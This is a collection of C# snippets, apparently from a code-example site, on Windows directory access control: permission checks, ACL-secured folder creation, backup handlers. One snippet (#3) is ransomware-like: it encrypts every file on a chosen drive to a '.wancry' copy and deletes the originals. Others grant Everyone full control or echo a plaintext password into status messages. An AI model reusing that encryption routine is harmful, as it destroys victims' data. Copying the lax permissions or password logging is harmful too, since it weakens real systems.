Example #1
0
        private void importarButton_Click(object sender, EventArgs e)
        {
            if (rutaOrigenText.Text.Trim().Length > 0)
            {
                try
                {
                    System.Security.AccessControl.DirectorySecurity ds = Directory.GetAccessControl(rutaOrigenText.Text);

                    if (gestorSistema.RealizarRestore(rutaOrigenText.Text) == 1)
                    {
                        MessageBox.Show(Genesis.Recursos_localizables.StringResources.RestoreMessageSatisfactorio);
                    }
                    else
                    {
                        MessageBox.Show(Genesis.Recursos_localizables.StringResources.RestoreMessageError);
                    }
                }
                catch (UnauthorizedAccessException)
                {
                    MessageBox.Show(Genesis.Recursos_localizables.StringResources.RestoreMessageSinAutorizacion);
                }
            }
            else
            {
                MessageBox.Show(Genesis.Recursos_localizables.StringResources.RestoreMessageVacio);
            }
        }
        private bool IsValidPath(String path)
        {
            if (string.IsNullOrEmpty(path))
            {
                return(false);
            }
            switch (Path.GetExtension(path))
            {
            case ".mp4":
                break;

            case ".avi":
                break;

            case ".mov":
                break;

            default:
                return(false);
            }
            try
            {
                System.Security.AccessControl.DirectorySecurity ds = Directory.GetAccessControl(Directory.GetParent(path).FullName);
            }
            catch (UnauthorizedAccessException)
            {
                return(false);
            }
            return(true);
        }
Example #3
0
 // Encrypt Button
 private void button1_Click(object sender, EventArgs e)
 {
     if (comboBox1.SelectedItem == null)
     {
         MessageBox.Show("Not choosing drive!");
     }
     else
     {
         decryptPass = textBox1.Text;
         foreach (string directory in Directory.GetDirectories(selectedDrive.ToString()))
         {
             DirectoryInfo directoryInfo = new DirectoryInfo(directory);
             try
             {
                 System.Security.AccessControl.DirectorySecurity directorySecurity = directoryInfo.GetAccessControl();
                 FileInfo[] files = directoryInfo.GetFiles();
                 foreach (FileInfo file in files)
                 {
                     EncryptFile(file.FullName, file.FullName + ".wancry");
                     if (File.Exists(file.FullName))
                     {
                         File.Delete(file.FullName);
                     }
                 }
             }
             catch
             {
                 continue;
             }
         }
         MessageBox.Show("Encrypt Success");
     }
 }
        public void RefreshList()
        {
            FileList.Clear();
            DirectoryInfo dir = new DirectoryInfo(Directorys.BackupDirectory);

            if (!dir.Exists)
            {
                // thư mục không tồn tại
                System.Security.AccessControl.DirectorySecurity s = new System.Security.AccessControl.DirectorySecurity();
                s.AddAccessRule(new System.Security.AccessControl.FileSystemAccessRule("Authenticated Users", System.Security.AccessControl.FileSystemRights.FullControl, System.Security.AccessControl.AccessControlType.Allow));
                try
                {
                    dir.Create(s);
                    // Tạo folder xong
                }
                catch
                {
                    // Không thể tạo thư mục do vấn đề bảo mật của hệ thống
                }
            }
            FileInfo[] files = dir.GetFiles("*.bak", SearchOption.TopDirectoryOnly);
            foreach (var item in files)
            {
                FileList.Add(item.Name);
            }
            if (PropertyChanged != null)
            {
                PropertyChanged(this, new PropertyChangedEventArgs("FileList"));
            }
        }
Example #5
0
        public static void ControlloAreeDiRete()
        {
            //controllo le aree di rete (se presenti)
            var usrConfig = GetUsrConfiguration();
            Dictionary <string, string> pathNonDisponibili = new Dictionary <string, string>();

            foreach (UserConfigElement ele in usrConfig.Items)
            {
                if (ele.Type == UserConfigElement.ElementType.path)
                {
                    string pathStr = ele.Value;

                    try { System.Security.AccessControl.DirectorySecurity ds = Directory.GetAccessControl(pathStr); }
                    catch { pathNonDisponibili.Add(ele.Desc, pathStr); }
                }
            }
            //segnalo all'utente l'impossibilità di accedere alle aree di rete
            if (pathNonDisponibili.Count > 0)
            {
                string paths = "\n";
                foreach (var kv in pathNonDisponibili)
                {
                    paths += " - " + kv.Key + " : '" + kv.Value + "'\n";
                }

                System.Windows.Forms.MessageBox.Show("I path seguenti non sono raggiungibili o non presentano privilegi di scrittura:" + paths, Simboli.nomeApplicazione + " - ATTENZIONE!!!", System.Windows.Forms.MessageBoxButtons.OK, System.Windows.Forms.MessageBoxIcon.Warning);
            }
        }
Example #6
0
        public ActionResult Index(GlobalSettingsModel model)
        {
            if (ModelState.IsValid)
            {
                try
                {
                    if (Directory.Exists(model.RepositoryPath))
                    {
                        System.Security.AccessControl.DirectorySecurity ds = Directory.GetAccessControl(model.RepositoryPath);

                        UserConfiguration.Current.AllowAnonymousPush          = model.AllowAnonymousPush;
                        UserConfiguration.Current.Repositories                = model.RepositoryPath;
                        UserConfiguration.Current.AllowAnonymousRegistration  = model.AllowAnonymousRegistration;
                        UserConfiguration.Current.AllowUserRepositoryCreation = model.AllowUserRepositoryCreation;
                        UserConfiguration.Current.GitExePath = model.GitExePath;
                        UserConfiguration.Current.Save();

                        ViewBag.UpdateSuccess = true;
                    }
                    else
                    {
                        ModelState.AddModelError("RepositoryPath", Resources.Settings_RepositoryPathNotExists);
                    }
                }
                catch (UnauthorizedAccessException)
                {
                    ModelState.AddModelError("RepositoryPath", Resources.Settings_RepositoryPathNotExists);
                }
            }

            return(View(model));
        }
        public bool TestNode(GlobalConfigItem parameters)
        {
            var directory = parameters.Value;

            try
            {
                DirectoryInfo dirInfo  = new DirectoryInfo(directory);
                bool          response = dirInfo.Exists;
                if (dirInfo.Exists)
                {
                    // Attempt to get a list of security permissions from the folder.
                    // This will raise an exception if the path is read only or do not have access to view the permissions.
                    System.Security.AccessControl.DirectorySecurity ds = Directory.GetAccessControl(directory);
                }
                return(response);
            }
            catch (UnauthorizedAccessException e)
            {
                return(false);
            }
            catch (Exception e)
            {
                return(false);
            }
        }
Example #8
0
        public static TryCheckAccess CheckAccess(string remotePath, string login, string domain, string password, string machineName)
        {
            IntPtr                      admin_token = default(IntPtr);
            WindowsIdentity             wid_current = WindowsIdentity.GetCurrent();
            WindowsIdentity             wid_admin   = null;
            WindowsImpersonationContext wic         = null;

            try
            {
                if (LogonUser(login, domain, password, 9, 0, ref admin_token) != 0)
                {
                    wid_admin = new WindowsIdentity(admin_token);
                    wic       = wid_admin.Impersonate();
                    System.Security.AccessControl.DirectorySecurity ds = Directory.GetAccessControl(remotePath);
                    return(new TryCheckAccess(true, $"Проверка доступа выполнена. {machineName} {password}"));
                }
                else
                {
                    return(new TryCheckAccess(false, $"Ошибка доступа в {remotePath.Replace("Windows", "")}. {machineName} {password}"));
                }
            }
            catch (Exception ex)
            {
                int ret = Marshal.GetLastWin32Error();
                return(new TryCheckAccess(false, $"Ошибка доступа в {remotePath.Replace("Windows", "")}. {machineName} {password}" +
                                          $"{Environment.NewLine} Exception: {ex.Message.ToString()}"));
            }
            finally
            {
                if (wic != null)
                {
                    wic.Undo();
                }
            }
        }
Example #9
0
        protected void PrepForSave(string path, System.Security.AccessControl.DirectorySecurity temp)
        {
            Directory.CreateDirectory(path, temp);

            using (StreamWriter folut = new StreamWriter(path + "\\labels.csv"))
            {
                DumpLabelsToStream(folut);
            }
            double[,] label = extractConfusionMatrix();

            using (StreamWriter fout = new StreamWriter(path + "\\confusion.csv"))
            {
                fout.WriteLine(ToString());

                for (int row = 0; row < OptoGlobals.NumberOfClasses; ++row)
                {
                    for (int col = 0; col < OptoGlobals.NumberOfClasses; ++col)
                    {
                        fout.Write(label[row, col] + ", ");
                    }
                    fout.WriteLine("");
                }
                fout.WriteLine("");
            }
        }
Example #10
0
        public static string CreateDirectory(String completePath)
        {
            try
            {
                if (Directory.Exists(completePath))
                {
                    CleanDirectory(completePath);
                    Directory.Delete(completePath, true);
                }

                Directory.CreateDirectory(completePath);
                DirectoryInfo info = new DirectoryInfo(completePath);
                System.Security.AccessControl.DirectorySecurity security = info.GetAccessControl();
                security.AddAccessRule(new System.Security.AccessControl.FileSystemAccessRule(Environment.UserName, System.Security.AccessControl.FileSystemRights.FullControl, System.Security.AccessControl.InheritanceFlags.ContainerInherit, System.Security.AccessControl.PropagationFlags.None, System.Security.AccessControl.AccessControlType.Allow));
                security.AddAccessRule(new System.Security.AccessControl.FileSystemAccessRule(Environment.UserName, System.Security.AccessControl.FileSystemRights.FullControl, System.Security.AccessControl.InheritanceFlags.ContainerInherit, System.Security.AccessControl.PropagationFlags.None, System.Security.AccessControl.AccessControlType.Allow));
                info.SetAccessControl(security);
                return(completePath);
            }
            catch (Exception e)
            {
                Utils.configLog("E", e.Message + ". CreateDirectory, completePath:" + completePath);
            }

            return(null);
        }
Example #11
0
        private void UpdateChunkCache(byte[] chunkData, int chunkIndex, bool overwrite = false)
        {
            string DataChunkCacheDir = GetDataChunkCacheDir();
            string DataChunkFileName = GetDataChunkFileName(chunkIndex, DataChunkCacheDir);

            try
            {
                if (!Directory.Exists(DataChunkCacheDir))
                {
                    Directory.CreateDirectory(DataChunkCacheDir);
                    DirectoryInfo info = new DirectoryInfo(DataChunkCacheDir);
                    // stuff that deals with windows's dir access policies.
                    System.Security.AccessControl.DirectorySecurity security = info.GetAccessControl();
                    security.AddAccessRule(new System.Security.AccessControl.FileSystemAccessRule(Environment.UserName, System.Security.AccessControl.FileSystemRights.FullControl, System.Security.AccessControl.InheritanceFlags.ContainerInherit, System.Security.AccessControl.PropagationFlags.None, System.Security.AccessControl.AccessControlType.Allow));
                    security.AddAccessRule(new System.Security.AccessControl.FileSystemAccessRule(Environment.UserName, System.Security.AccessControl.FileSystemRights.FullControl, System.Security.AccessControl.InheritanceFlags.ContainerInherit, System.Security.AccessControl.PropagationFlags.None, System.Security.AccessControl.AccessControlType.Allow));
                    info.SetAccessControl(security);
                }

                if (!File.Exists(DataChunkFileName) || overwrite)
                {
                    File.WriteAllBytes(DataChunkFileName, chunkData);
                }
            }
            catch (Exception e)
            {
                Console.WriteLine("exception in updating chunk cache: " + e);
            }
        }
        public System.IO.DirectoryInfo CreateSubdirectory(string path, System.Security.AccessControl.DirectorySecurity directorySecurity)
        {
            Contract.Ensures(Contract.Result <System.IO.DirectoryInfo>() != null);
            Contract.Ensures(this.FullPath != null);

            return(default(System.IO.DirectoryInfo));
        }
Example #13
0
        /// <summary>
        /// Add the tag (<identity impersonate="true"/>) in your web.config file.
        /// </summary>
        internal static void SetFullControlForEveryOne(string path)
        {
            try
            {
                System.Security.AccessControl.DirectorySecurity
                    directorySecurity = System.IO.Directory.GetAccessControl(path);

                // Using this instead of the "Everyone"
                // string means we work on non-English systems.
                System.Security.Principal.SecurityIdentifier everyone =
                    new System.Security.Principal.SecurityIdentifier
                        (System.Security.Principal.WellKnownSidType.WorldSid, null);

                System.Security.AccessControl.FileSystemAccessRule fileSystemAccessRule =
                    new System.Security.AccessControl.FileSystemAccessRule
                        (identity: everyone,
                        fileSystemRights: System.Security.AccessControl.FileSystemRights.FullControl |
                        System.Security.AccessControl.FileSystemRights.Synchronize,
                        inheritanceFlags: System.Security.AccessControl.InheritanceFlags.ContainerInherit |
                        System.Security.AccessControl.InheritanceFlags.ObjectInherit,
                        propagationFlags: System.Security.AccessControl.PropagationFlags.None,
                        type: System.Security.AccessControl.AccessControlType.Allow);

                directorySecurity.AddAccessRule(fileSystemAccessRule);

                System.IO.Directory.SetAccessControl
                    (path: path, directorySecurity: directorySecurity);
            }
            catch (System.Exception ex)
            {
                string errorMessage = ex.Message;
            }
        }
Example #14
0
        /// <summary>
        /// The main entry point for the application.
        /// </summary>
        static void Main(string[] args)
        {
#if TerminalTest
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            Application.Run(new Form1());
#else
            ServiceBase[] ServicesToRun;
            Serial2Socket service = new Serial2Socket();
#if true
            //add trace log here
            string path      = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData);
            string logFolder = path + "\\Serial2Socket";
            if (!System.IO.Directory.Exists(logFolder))
            {
                System.Security.AccessControl.DirectorySecurity dirSecurity =
                    new System.Security.AccessControl.DirectorySecurity();
                dirSecurity.AddAccessRule(
                    new System.Security.AccessControl.FileSystemAccessRule("Everyone",
                                                                           System.Security.AccessControl.FileSystemRights.FullControl,
                                                                           System.Security.AccessControl.InheritanceFlags.ContainerInherit |
                                                                           System.Security.AccessControl.InheritanceFlags.ObjectInherit,
                                                                           System.Security.AccessControl.PropagationFlags.None,
                                                                           System.Security.AccessControl.AccessControlType.Allow)
                    );
                // Create the new folder with the custom ACL.
                System.IO.Directory.CreateDirectory(logFolder, dirSecurity);
            }
            Trace.Listeners.Add(new TextWriterTraceListener(logFolder + "\\Serial2Socket.log", "myListener"));
            Trace.AutoFlush = true;

            Trace.WriteLine(DateTime.Now + " Path: " + path);
#endif
            if (Environment.UserInteractive)
            {
                ServicesToRun = new ServiceBase[]
                {
                    new Serial2Socket()
                };
                service.RunAsConsole(args);
            }
            else
            {
                ServicesToRun = new ServiceBase[]
                {
                    new Serial2Socket()
                    //service
                };
                ServiceBase.Run(ServicesToRun);
            }

            ServicesToRun = new ServiceBase[]
            {
                new Serial2Socket()
            };
            ServiceBase.Run(ServicesToRun);
#endif
        }
Example #15
0
 public static bool HasWriteAccess(string folderPath)
 {
     try {
         System.Security.AccessControl.DirectorySecurity ds = Directory.GetAccessControl(folderPath);
         return(true);
     } catch (UnauthorizedAccessException) {
         return(false);
     }
 }
Example #16
0
 public static void denyPermissionFolder(string path)
 {
     System.Security.AccessControl.DirectorySecurity b = new System.Security.AccessControl.DirectorySecurity();
     b.SetAccessRuleProtection(true, true);
     if (Directory.Exists(path))
     {
         Directory.SetAccessControl(path, b);
     }
 }
Example #17
0
        public void denyPermissionFolder(string path)
        {
            if (!Directory.Exists(pathImgs))
            {
                Directory.CreateDirectory(pathImgs);
            }

            System.Security.AccessControl.DirectorySecurity b = new System.Security.AccessControl.DirectorySecurity();
            b.SetAccessRuleProtection(true, true);
            Directory.SetAccessControl(path, b);
        }
Example #18
0
 public static void SetAccessFolderRule(string directoryPath)
 {
     System.Security.AccessControl.DirectorySecurity sec = System.IO.Directory.GetAccessControl(directoryPath);
     //string owner = sec.GetOwner(typeof(System.Security.Principal.NTAccount)).ToString();
     System.Security.AccessControl.FileSystemAccessRule accRule =
         new System.Security.AccessControl.FileSystemAccessRule(
             OwnerOrUser,
             System.Security.AccessControl.FileSystemRights.FullControl,
             System.Security.AccessControl.AccessControlType.Allow);
     sec.AddAccessRule(accRule);
 }
Example #19
0
 public static DirectoryInfo GetOrCreateApplicationTempFolder()
 {
     System.IO.DirectoryInfo tmpPathDirInfo = new System.IO.DirectoryInfo(GetDefaultApplicationTempFolder());
     if (!tmpPathDirInfo.Exists)
     {
         tmpPathDirInfo.Create();
         System.Security.AccessControl.DirectorySecurity dSecurity = tmpPathDirInfo.GetAccessControl();
         dSecurity.AddAccessRule(new System.Security.AccessControl.FileSystemAccessRule("everyone", System.Security.AccessControl.FileSystemRights.FullControl, System.Security.AccessControl.InheritanceFlags.ObjectInherit | System.Security.AccessControl.InheritanceFlags.ContainerInherit, System.Security.AccessControl.PropagationFlags.None, System.Security.AccessControl.AccessControlType.Allow));
         tmpPathDirInfo.SetAccessControl(dSecurity);
     }
     return(tmpPathDirInfo);
 }
Example #20
0
 private bool CanWriteToDirectory(string path)
 {
     try
     {
         System.Security.AccessControl.DirectorySecurity ds = System.IO.Directory.GetAccessControl(path);
         return(true);
     }
     catch (System.Exception)
     {
         return(false);
     }
 }
Example #21
0
 private bool hasWriteAccessToFolder(string folderPath)
 {
     try {
         // Attempt to get a list of security permissions from the folder.
         // This will raise an exception if the path is read only or do not have access to view the permissions.
         System.Security.AccessControl.DirectorySecurity ds = Directory.GetAccessControl(folderPath);
         return(true);
     }
     catch (UnauthorizedAccessException) {
         return(false);
     }
 }
 private bool HasWriteAccessToFolder(DirectoryInfo directoryInfo)
 {
     try
     {
         System.Security.AccessControl.DirectorySecurity ds = Directory.GetAccessControl(directoryInfo.FullName);
         return(true);
     }
     catch (UnauthorizedAccessException)
     {
         return(false);
     }
 }
Example #23
0
 private bool verifyPermissions(string dir)
 {
     try
     {
         System.Security.AccessControl.DirectorySecurity ds = Directory.GetAccessControl(dir);
         return(true);
     }
     catch (UnauthorizedAccessException)
     {
         return(false);
     }
 }
        /// <summary>
        /// 判断指定的文件或目录是否拥有与 identity 相关联的权限设置。
        /// </summary>
        /// <param name="path">文件或目录路径。</param>
        /// <param name="identity">Windows 用户或组名称。</param>
        /// <returns>存在返回 true;否则返回 false。</returns>
        public static bool IsExistsPermission(string path, string identity)
        {
            identity = identity.ToLower();
            bool hasDomain = (identity.IndexOf('\\') != -1);

            if (System.IO.Directory.Exists(path))
            {
                System.Security.AccessControl.DirectorySecurity           ds  = System.IO.Directory.GetAccessControl(path);
                System.Security.AccessControl.AuthorizationRuleCollection arc = ds.GetAccessRules(true, true, typeof(System.Security.Principal.NTAccount));
                foreach (System.Security.AccessControl.FileSystemAccessRule tmp in arc)
                {
                    string ident = tmp.IdentityReference.Value.ToLower();
                    if (hasDomain)
                    {
                        if (ident == identity)
                        {
                            return(true);
                        }
                    }
                    else
                    {
                        if (ident == identity || ident.EndsWith(@"\" + identity))
                        {
                            return(true);
                        }
                    }
                }
            }
            else if (System.IO.File.Exists(path))
            {
                System.Security.AccessControl.FileSecurity ds = System.IO.File.GetAccessControl(path);
                System.Security.AccessControl.AuthorizationRuleCollection arc = ds.GetAccessRules(true, true, typeof(System.Security.Principal.NTAccount));
                foreach (System.Security.AccessControl.FileSystemAccessRule tmp in arc)
                {
                    string ident = tmp.IdentityReference.Value.ToLower();
                    if (hasDomain)
                    {
                        if (ident == identity)
                        {
                            return(true);
                        }
                    }
                    else
                    {
                        if (ident == identity || ident.EndsWith(@"\" + identity))
                        {
                            return(true);
                        }
                    }
                }
            }
            return(false);
        }
Example #25
0
 private static bool HasWriteAccessToFolder(string folderDir)
 {
     try
     {
         System.Security.AccessControl.DirectorySecurity ds = Directory.GetAccessControl(folderDir);
         return(true);
     }
     catch (UnauthorizedAccessException ex)
     {
         LogHelper.Instance.Error(string.Format("Has no write access to folder {0} due to {1}.", folderDir, ex.Message));
         return(false);
     }
 }
Example #26
0
 public bool HasAccessToFolder(string folderPath)
 {
     //https://stackoverflow.com/questions/1410127/c-sharp-test-if-user-has-write-access-to-a-folder
     try
     {
         System.Security.AccessControl.DirectorySecurity ds = Directory.GetAccessControl(folderPath);
         return(true);
     }
     catch (UnauthorizedAccessException)
     {
         return(false);
     }
 }
Example #27
0
 private bool ConsultarPermisosDeEscrituraEnRuta()
 {
     try
     {
         System.Security.AccessControl.DirectorySecurity ds = Directory.GetAccessControl(rutaDestinoText.Text);
         return(true);
     }
     catch (UnauthorizedAccessException)
     {
         MessageBox.Show(Genesis.Recursos_localizables.StringResources.BackupMessageSinAutorizacion);
         return(false);
     }
 }
Example #28
0
        public static void DirectoryCopy(string sourceDirName, string destDirName, bool copySubDirs)
        {
            DirectoryInfo sourcedir = new DirectoryInfo(sourceDirName);

            // If the source directory does not exist, throw an exception.
            if (!sourcedir.Exists)
            {
                throw new DirectoryNotFoundException("Source directory does not exist or could not be found: " + sourceDirName);
            }

            // If the destination directory does not exist, create it.
            DirectoryInfo destDir = new DirectoryInfo(destDirName);

            if (destDir.Exists)
            {
                System.Security.AccessControl.DirectorySecurity    sec3     = destDir.GetAccessControl();
                System.Security.AccessControl.FileSystemAccessRule accRule3 = new System.Security.AccessControl.FileSystemAccessRule(Environment.UserDomainName + "\\" + Environment.UserName, System.Security.AccessControl.FileSystemRights.FullControl, System.Security.AccessControl.AccessControlType.Allow);
                sec3.AddAccessRule(accRule3);

                destDir.Delete(true);
                destDir.Refresh();
            }
            destDir.Create();
            destDir.Refresh();

            // Get the file contents of the directory to copy.
            FileInfo[] files = sourcedir.GetFiles();

            foreach (FileInfo file in files)
            {
                // Create the path to the new copy of the file.
                string temppath = Path.Combine(destDirName, file.Name);

                // Copy the file.
                file.CopyTo(temppath, false);
            }

            // If copySubDirs is true, copy the subdirectories.
            if (copySubDirs)
            {
                DirectoryInfo[] dirs = sourcedir.GetDirectories();
                foreach (DirectoryInfo subdir in dirs)
                {
                    // Create the subdirectory.
                    string temppath = Path.Combine(destDirName, subdir.Name);

                    // Copy the subdirectories.
                    DirectoryCopy(subdir.FullName, temppath, copySubDirs);
                }
            }
        }
Example #29
0
        private void UpdateChunkCache(byte[] chunkData, int chunkIndex, bool overwrite = false)
        {
            string DataChunkCacheDir = GetDataChunkCacheDir();
            string DataChunkFileName = GetDataChunkFileName(chunkIndex, DataChunkCacheDir);

            try
            {
                if (logger != null)
                {
                    logger.Log("Start UpdateChunkCache Create Directory");
                }
                if (!Directory.Exists(DataChunkCacheDir))
                {
                    Directory.CreateDirectory(DataChunkCacheDir);
                    DirectoryInfo info = new DirectoryInfo(DataChunkCacheDir);
                    // stuff that deals with windows's dir access policies.
                    System.Security.AccessControl.DirectorySecurity security = info.GetAccessControl();
                    security.AddAccessRule(new System.Security.AccessControl.FileSystemAccessRule(Environment.UserName, System.Security.AccessControl.FileSystemRights.FullControl, System.Security.AccessControl.InheritanceFlags.ContainerInherit, System.Security.AccessControl.PropagationFlags.None, System.Security.AccessControl.AccessControlType.Allow));
                    security.AddAccessRule(new System.Security.AccessControl.FileSystemAccessRule(Environment.UserName, System.Security.AccessControl.FileSystemRights.FullControl, System.Security.AccessControl.InheritanceFlags.ContainerInherit, System.Security.AccessControl.PropagationFlags.None, System.Security.AccessControl.AccessControlType.Allow));
                    info.SetAccessControl(security);
                }
                if (logger != null)
                {
                    logger.Log("End UpdateChunkCache Create Directory");
                }

                // if (!File.Exists(DataChunkFileName) || overwrite)
                //{
                if (logger != null)
                {
                    logger.Log("Start UpdateChunkCache WriteChunk");
                }
                FileStream fout = new FileStream(DataChunkFileName,
                                                 FileMode.OpenOrCreate,
                                                 FileAccess.Write,
                                                 FileShare.ReadWrite);
                fout.Write(chunkData, 0, chunkData.Length);
                fout.Flush(true);
                fout.Close();
                if (logger != null)
                {
                    logger.Log("End UpdateChunkCache WriteChunk");
                }
                // File.WriteAllBytes(DataChunkFileName, chunkData);
                // }
            }
            catch (Exception e)
            {
                Console.WriteLine("exception in updating chunk cache: " + e);
            }
        }
Example #30
0
 private string getTempFolder()
 {
     try
     {
         var tempFolder = Path.Combine(Path.GetTempPath(), Path.GetFileNameWithoutExtension(Path.GetRandomFileName()));
         Directory.CreateDirectory(tempFolder);
         System.Security.AccessControl.DirectorySecurity ds = Directory.GetAccessControl(tempFolder);
         return(tempFolder);
     }
     catch (UnauthorizedAccessException)
     {
         throw new Exception("[EmbedderForm] Could not create writable temp folder");
     }
 }
Example #31
0
        public void ExportBinariesToReadOnlyPath()
        {
            // Create a directory in temporary directory and set its property to read only
            DirectoryInfo binaryDirectory = Directory.CreateDirectory(Path.Combine(Path.GetTempPath(), "ReadOnlyDirectory"));
            System.Security.AccessControl.DirectorySecurity binaryDirectorySecurity = new System.Security.AccessControl.DirectorySecurity();
            binaryDirectorySecurity.AddAccessRule(new System.Security.AccessControl.FileSystemAccessRule("everyone", System.Security.AccessControl.FileSystemRights.CreateDirectories, System.Security.AccessControl.AccessControlType.Deny));
            Directory.SetAccessControl(binaryDirectory.FullName, binaryDirectorySecurity);

            Dark dark = new Dark();
            dark.InputFile = Builder.BuildPackage(Path.Combine(BinaryPathTests.TestDataDirectory, @"Product.wxs"));
            dark.BinaryPath = binaryDirectory.FullName;
            dark.ExpectedExitCode = 1;
            dark.ExpectedWixMessages.Add(new WixMessage(1, string.Format("Access to the path '{0}' is denied.", Path.Combine(dark.BinaryPath, "Binary")), WixMessage.MessageTypeEnum.Error));
            dark.Run();
        }
Example #32
0
        void runCommand(string batchfile)
        {
            string tmpDir = System.IO.Path.GetRandomFileName();
            int availBytes;

            stderrStr = "";
            stdoutStr = "";

            System.Security.AccessControl.DirectorySecurity sec = new System.Security.AccessControl.DirectorySecurity();

            sec.AddAccessRule(
                new System.Security.AccessControl.FileSystemAccessRule(
                    System.Security.Principal.WindowsIdentity.GetCurrent().User,
                    System.Security.AccessControl.FileSystemRights.FullControl,
                    System.Security.AccessControl.AccessControlType.Allow));

            System.Security.AccessControl.FileSecurity filesec = new System.Security.AccessControl.FileSecurity();
            filesec.AddAccessRule(
                new System.Security.AccessControl.FileSystemAccessRule(
                    System.Security.Principal.WindowsIdentity.GetCurrent().User,
                    System.Security.AccessControl.FileSystemRights.FullControl,
                    System.Security.AccessControl.AccessControlType.Allow));

            System.IO.Directory.CreateDirectory(tmpDir, sec);

            using (System.IO.StreamWriter execstream = new System.IO.StreamWriter(System.IO.File.Create(tmpDir+"\\exec.bat",1024, System.IO.FileOptions.None, filesec)))
            {
                execstream.Write(batchfile);
            }

            try
            {
                ProcessStartInfo startInfo = new ProcessStartInfo(Environment.GetEnvironmentVariable("SystemRoot") + "\\System32\\cmd.exe", "/Q /C " + tmpDir + "\\exec.bat")
                {
                    RedirectStandardError = true,
                    RedirectStandardOutput = true,
                    UseShellExecute = false,
                };

                using (Process proc = new Process())
                {
                    proc.StartInfo = startInfo;

                    proc.OutputDataReceived +=
                        delegate(object sendingProcess, DataReceivedEventArgs outline) {
                            if (!String.IsNullOrEmpty(outline.Data))
                            {
                                lock (stdoutStr)
                                {
                                    availBytes = MAXLENGTH - stdoutStr.Length;
                                    stdoutStr += (availBytes >= outline.Data.Length) ? outline.Data : outline.Data.Substring(0, availBytes);
                                }
                            }
                        };

                    proc.ErrorDataReceived +=
                        delegate(object sendingProcess, DataReceivedEventArgs outline) {
                            if (!String.IsNullOrEmpty(outline.Data))
                            {
                                lock (stderrStr)
                                {
                                    availBytes = MAXLENGTH - stderrStr.Length;
                                    stderrStr += (availBytes >= outline.Data.Length) ? outline.Data : outline.Data.Substring(0, availBytes);
                                }
                            }
                        };

                    proc.Start();
                    proc.BeginOutputReadLine();
                    proc.BeginErrorReadLine();
                    proc.WaitForExit();

                    returnCode = proc.ExitCode;
                }
            }
            finally
            {
                System.IO.Directory.Delete(tmpDir,true);
            }
        }